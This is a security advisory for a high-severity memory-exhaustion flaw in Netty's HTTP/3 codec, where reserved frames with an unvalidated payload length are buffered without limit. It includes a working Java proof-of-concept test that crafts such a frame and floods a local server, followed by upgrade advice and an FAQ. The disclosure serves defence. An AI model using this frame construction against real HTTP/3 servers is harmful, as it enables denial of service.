GHSA-hpcc-26xq-25fv: High severity maven/io.netty:netty-codec-http3 vulnerability
Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAXVALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; }
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAXVALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .initialMaxStreamDataBidirectionalRemote(1000000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build();
Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build();
Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get();
QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40);
// Write payload length (Integer.MAXVALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload int payloadSize = 1000000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } }
Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-http3to a version that resolves this vulnerability.Fixed in 4.2.16.Final
Event History
Frequently Asked Questions
What is the severity of GHSA-hpcc-26xq-25fv?
The severity of GHSA-hpcc-26xq-25fv is rated as high with a score of 7.5.
How do I fix GHSA-hpcc-26xq-25fv?
To mitigate GHSA-hpcc-26xq-25fv, update to the latest version of netty-codec-http3 where the vulnerability is addressed.
What impact does GHSA-hpcc-26xq-25fv have on my application?
GHSA-hpcc-26xq-25fv can allow an attacker to send a malicious HTTP/3 reserved frame, leading to resource exhaustion.
Is GHSA-hpcc-26xq-25fv easily exploitable?
Yes, GHSA-hpcc-26xq-25fv is considered easily exploitable due to the lack of payload length validation.
Which software is affected by GHSA-hpcc-26xq-25fv?
GHSA-hpcc-26xq-25fv affects the netty-codec-http3 library used in various applications.